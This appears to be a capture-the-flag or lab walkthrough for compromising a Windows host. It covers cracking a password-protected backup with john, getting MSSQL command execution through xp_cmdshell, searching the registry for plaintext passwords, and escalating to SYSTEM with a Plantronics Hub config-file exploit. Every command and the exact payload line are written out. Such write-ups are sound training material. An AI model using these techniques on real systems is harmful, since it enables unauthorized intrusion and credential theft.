

# Enumeration

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- 1: Use autorecon to enumerate its services, **80, 135, 139, 445, 1221,1435** are open
- 2: Sign in FTP service, there is an interesting file named **MSSQL\_BAK.rar**, download it
- 3: Try to extract it, however, it does have **password protection**
- 4: Execute **rar2john MSSQL\_BAK.rar > protectoin.txt**, and **john --wordlist=dict/rockyou.txt protection.txt** to crack its password: **letmeinplease**
- 5: After cracking, I get a file: **mssql\_backup.txt**
- 6: It contains **MSSQL's credential: sa: EjectFrailtyThorn425**
- 7: Use **Impacket's mssqlclient.py** to connect to target MSSQL service: **cd /impacket/examples, python mssqlclient.py -p 1435 sa:EjectFrailtyThorn425@192.168.185.70**
- 8: **xp\_cmdshell cd C:/Users && dir**, to check users on this server
- 9: **xp\_cmdshell cd C:/Users/jane/Desktop && dir**, and my access is **denied**
- 10: **xp\_cmdshell reg query HKLM /f pass /t REG\_SZ /s** to search **plaintext password** in registry
- 11: Among many outputs, a plaintext password **TwilightAirmailMuck234** could be a user's password

# Foothold

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- 1: Use RDP to Xconnect target server with credential **jane:TwilightAirmailMuck234**, and it succeeds
- 2: Capture the local flag
- 3: There is an app on the desktop, too. It is **Plantronics Hub 3.13.2**

# Privilege Escalation

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- 1: The application does have a local privilege escalation public exploit (<https://www.exploit-db.com/exploits/47845>)
- 2: Navigate to **C:/ProgramData/Plantronics/Spokes3G**, folder ProgramData is hidden.
- 3: Create a file named **MajorUpgrade.config**, with an line of content:  
**jane|advertise|C:\Windows\System32\cmd.exe**
- 4: A system shell will pop up
- 5: Capture the proof.txt

## Review

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- 1: Target **FTP, MSSQL**
- 2: Connect to FTP to download **MSSQL backup** file
- 3: Extract it from a **password protection**
- 4: Use **mssqlclient.py** to sign in
- 5: Use **xp\_cmdshell** to execute cmd
- 6: Search low-hanging fruit: **plaintext password in registry**
- 7: Combine it with a **found user**, use **RDP** to sign in
- 8: Check the app which is **on the desktop**, its **name** and **version**
- 9: Create a **config** file, get system shell
- 10: This server has AV, nc.exe will be constantly cleaned up**, search for plaintext password should be the **intended way**.